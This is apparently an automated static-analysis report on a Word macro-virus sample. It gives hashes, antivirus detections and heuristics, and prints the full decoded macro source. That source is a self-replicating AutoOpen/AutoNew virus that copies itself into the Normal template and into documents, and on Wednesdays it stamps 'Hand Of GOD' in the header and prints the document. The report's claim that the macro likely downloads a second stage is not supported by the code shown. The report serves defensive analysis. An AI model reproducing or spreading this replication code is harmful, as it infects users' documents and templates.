Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 47fc695cf78f0759…

MALICIOUS

Office (OLE)

32.0 KB Created: 1999-06-08 21:30:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 328f718e897af9af234e64b0903e33b1 SHA-1: b96d5d65c8bdab0142873cfe207f3dc84ac1eab6 SHA-256: 47fc695cf78f07592ac907a03fb07f8a8d8fc44100010a33b0a9cb8dedb2337c
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The presence of ClamAV detections (Doc.Trojan.Hog-2 and Doc.Trojan.Hog-1) further confirms its malicious nature. The AutoOpen macro is designed to execute automatically when the document is opened, likely to download and run a secondary stage payload, a common technique for malware distribution.

Heuristics 4

  • ClamAV: Doc.Trojan.Hog-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Hog-2
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3026 bytes
SHA-256: fe9e419eecc9da49cfc8ba185235fd6c8cb97b56291ee26ebbd0148442f8f4b9
Detection
ClamAV: Doc.Trojan.Hog-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoNew"
Dim nor$
Dim doc$
Dim tem$
Dim mac$
Dim em
Dim ar$(2)



Sub main()
    ar$(1) = "AutoNew"
    ar$(2) = "AutoOpen"
    
    On Error Resume Next
  
    mac$ = MacroContainer.Name
    
    nor$ = NormalTemplate.Path
    nor$ = nor$ & "\" & NormalTemplate.Name
    
    doc$ = ActiveDocument.Name
    
    With ActiveDocument.AttachedTemplate
        tem$ = .Path
        tem$ = tem$ & "\" & .Name
    End With
file$ = WordBasic.[filename$]()
fil$ = file$ + ":AutoOpen"
WordBasic.macrocopy fil$, "AutoOpen"
fil1$ = file$ + ":AutoNew"
WordBasic.macrocopy fil1$, "AutoNew"
   For n% = 1 To 2
   
   Application.OrganizerCopy Source:=mac$, _
        Destination:=nor$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=ActiveDocument, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=tem$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems

    Next n%
    NormalTemplate.Save

End Sub


Attribute VB_Name = "AutoOpen"
Dim nor$
Dim doc$
Dim tem$
Dim mac$
Dim em
Dim ar$(2)


Sub main()
    ar$(1) = "AutoNew"
    ar$(2) = "AutoOpen"
    
    On Error Resume Next
    
    If WeekDay(Now()) = vbWednesday Then
        With ActiveDocument.Sections(1).Headers(wdHeaderFooterPrimary).Range
            .Font.Size = 12
            .ParagraphFormat.Alignment = wdAlignParagraphCenter
            .Text = "Hand Of GOD"
        End With
        ActiveDocument.PrintOut
    End If
    
cnt = WordBasic.countmacros(0)
    
file$ = WordBasic.[filename$]()
fil$ = file$ + ":AutoOpen"
WordBasic.macrocopy fil$, "AutoOpen"
fil1$ = file$ + ":AutoNew"
WordBasic.macrocopy fil1$, "AutoNew"

 mac$ = MacroContainer.Path
    mac$ = mac$ & "\" & MacroContainer.Name
    
    nor$ = NormalTemplate.Path
    nor$ = nor$ & "\" & NormalTemplate.Name
    
    doc$ = ActiveDocument.Path
    doc$ = doc$ & "\" & ActiveDocument.Name
    
    
    With ActiveDocument.AttachedTemplate
        tem$ = .Path
        tem$ = tem$ & "\" & .Name
    End With
        
    
   For n% = 1 To 2
   
   Application.OrganizerCopy Source:=mac$, _
        Destination:=nor$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=ActiveDocument, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems
        
   Application.OrganizerCopy Source:=mac$, _
        Destination:=tem$, Name:=ar$(n%), _
        Object:=wdOrganizerObjectProjectItems

    Next n%
    
    ActiveDocument.Save
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.